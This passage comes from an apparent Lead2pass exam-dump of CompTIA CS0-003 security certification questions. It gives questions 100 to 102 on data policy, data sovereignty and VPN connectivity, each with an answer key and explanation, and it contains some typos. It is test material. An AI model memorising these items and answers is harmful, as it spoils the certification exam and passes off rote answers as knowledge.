allowing a buffer overflow attack to succeed. QUESTION 100 An organization has the following policy statements: Get Latest & Actual CS0-003 Exam's Question and Answers from Lead2pass. 43 https://www.lead2pass.com - AlI emails entering or leaving the organization will be subject to inspection for malware, policy violations, and unauthorized coolant. - All network activity will be logged and monitored. - Confidential data will be tagged and tracked - Confidential data must never be transmitted in an unencrypted form. - Confidential data must never be stored on an unencrypted mobile device. Which of the following is the organization enforcing? A. Acceptable use policy B. Data privacy policy C. Encryption policy D. Data management policy Answer: D Explanation: https://www.comptia.org/newsroom/2020/02/25/data-management-fundamentals-are-the-first- step-towards-advanced-data-practices-new-comptia-report-reveals QUESTION 101 A Chief Executive Officer (CEO) is concerned the company will be exposed lo data sovereignty issues as a result of some new privacy regulations to help mitigate this risk. The Chief Information Security Officer (CISO) wants to implement an appropriate technical control. Which of the following would meet the requirement? A. Data masking procedures B. Enhanced encryption functions C. Regular business impact analysis functions D. Geographic access requirements Answer: D Explanation: Data Sovereignty means that data is subject to the laws and regulations of the geographic location where that data is collected and processed. Data sovereignty is a country-specific requirement that data must remain within the borders of the jurisdiction where it originated. At its core, data sovereignty is about protecting sensitive, private data and ensuring it remains under the control of its owner. QUESTION 102 A security analyst needs to provide the development team with secure connectivity from the corporate network to a three-tier cloud environment. The developers require access to servers in all three tiers in order to perform various configuration tasks. Which of the following technologies should the analyst implement to provide secure transport? A. CASB B. VPC C. Federation D. VPN Answer: D Explanation: Get Latest & Actual CS0-003 Exam's Question and Answers from Lead2pass. 44 https://www.lead2pass.com A VPN (Virtual Private Network) creates a secure and encrypted tunnel between the corporate network and the cloud environment. This allows the development team to access servers in all three tiers of the cloud environment securely, without exposing their traffic to the public internet. The

Document Details

Tags

Related

Full Transcript

Upgrade to continue